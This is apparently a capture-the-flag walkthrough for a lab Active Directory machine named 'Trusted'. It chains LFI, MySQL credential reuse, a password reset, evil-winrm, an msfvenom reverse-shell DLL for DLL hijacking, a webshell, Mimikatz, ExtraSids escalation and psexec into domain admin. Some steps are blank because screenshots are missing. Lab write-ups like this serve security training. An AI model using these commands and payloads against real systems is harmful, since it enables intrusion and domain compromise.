Trusted

Enumeration

53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-09 14:07:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=trusteddc.trusted.vl
| Not valid before: 2024-04-08T14:01:07
|_Not valid after:  2024-10-08T14:01:07
|_ssl-date: 2024-04-09T14:08:09+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: TRUSTED
|   NetBIOS_Domain_Name: TRUSTED
|   NetBIOS_Computer_Name: TRUSTEDDC
|   DNS_Domain_Name: trusted.vl
|   DNS_Computer_Name: trusteddc.trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-04-09T14:08:01+00:00
Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows

There is an apache website on trusted.vl:

Using gobuster to fuzz directories: We discover a webpage at /dev:

Now testing for LFI: It works.

Checking index.html using php filters we get a base64. Running gobuster for php extension we get a file called db.php.

Now using LFI:

Now logging in to mysql: mysql -u root -pSuperSecureMySQLPassw0rd1337. -h 10.10.225.134

And checking the database news: select * from users;

The password is MD5 hash so cracking it:

Trying to use bloodhound.py it doesnt work and gives an error: Using dnschef: dnschef --fakeip 10.10.225.134

Now using bloodhound.py: bloodhound.py -u 'rsmith' -p 'IHateEric2' -d lab.trusted.vl -dc labdc.lab.trusted.vl -c all -ns 127.0.0.1 Now we can change the password: net rpc password "EWALTERS" "aditya123@" -U "lab.trusted.vl"/"rsmith"%"IHateEric2" -S "labdc.lab.trusted.vl"

Now we can use evil-winrm: evil-winrm -i labdc.lab.trusted.vl -u ewalters -p aditya123@

Now checking the C drive there is an exe:

Now transfering to windows vm and using prcomon: It is vulnerable to dll hijacking

And the exe is 32 bit:

So creating a payload for missing dll: msfvenom -p windows/shell_reverse_tcp -f dll LHOST=10.8.1.208 LPORT=9005 > KasperskyRemovalToolENU.dll and uploading it in the respective place:

We get a shell

Alternate privesc

Using mysql upload a webshell to the web directory which we have access to where it is with phpinfo in the home page:

Then access the page: Now we can upload rcat.exe and get a reverse shell back:

Lateral Movement

From adpeas we know there is a parent child relation so: Using mimikatz to dump hashes:

Now using

Then using the ticket:

Now we have tgs: export KRB5CCNAME=administrator.ccache psexec.py administrator@trusteddc.trusted.vl -k -no-pass

Now we can create a user and add to "Domain Admins" and "Enterprise Admins"

Then enable logging in rdp with pth:

Now we can rdp to the machine.

To get administrator hash use -ntds in nxc Then get the hash:

[[ExtraSids]] Method

With mimikatz

Now to enable rdp:

Then to login:

Last updated

Was this helpful?